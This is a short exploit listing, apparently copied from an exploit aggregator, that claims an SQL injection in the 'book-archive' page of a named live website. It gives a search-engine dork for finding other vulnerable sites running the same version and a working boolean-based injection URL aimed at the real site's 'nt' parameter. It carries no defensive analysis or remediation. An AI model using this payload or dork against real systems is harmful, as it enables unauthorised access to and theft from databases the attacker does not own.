Exploit for Khamenei.ir SQL Injection

Name: Exploit for Khamenei.ir SQL Injection
Rating: 5 (327 reviews)

2021-11-05 | CVSS 7.1

## https://sploitus.com/exploit?id=PACKETSTORM:164792
################################################## ################################################## #####################  
# #  
# Exploit Title : Khamenei.ir has SQL Inj vulnerabilities #  
# #  
# Author : E1.Coders #  
# #  
# Contact : E1.Coders [at] Mail [dot] RU #  
# #  
# Portal Link : khamenei.ir (https://farsi.khamenei.ir) #  
# #  
# Tested ON : Persian language version Host #  
# #  
# Security Risk : ~[Critical]~ #  
# #  
# Description : Description: All websites with this version used can be targeted #  
# #  
# DorK : "intext:"book-archive?nt="" #  
# #  
# #  
# #  
################################################## ################################################## #####################  
  
  
  
  
Details :  
  
  
the vulnerable file is "book-archive"  
  
  
  
SQL Inj Expl0iTs :  
  
  
https://farsi.khamenei.ir/book-archive?nt=99999999 Codes  
  
  
  
Dem0 :  
  
https://farsi.khamenei.ir/book-archive?nt=99999999%27 oR 6168693=6168693 aNd %276199%27=%276199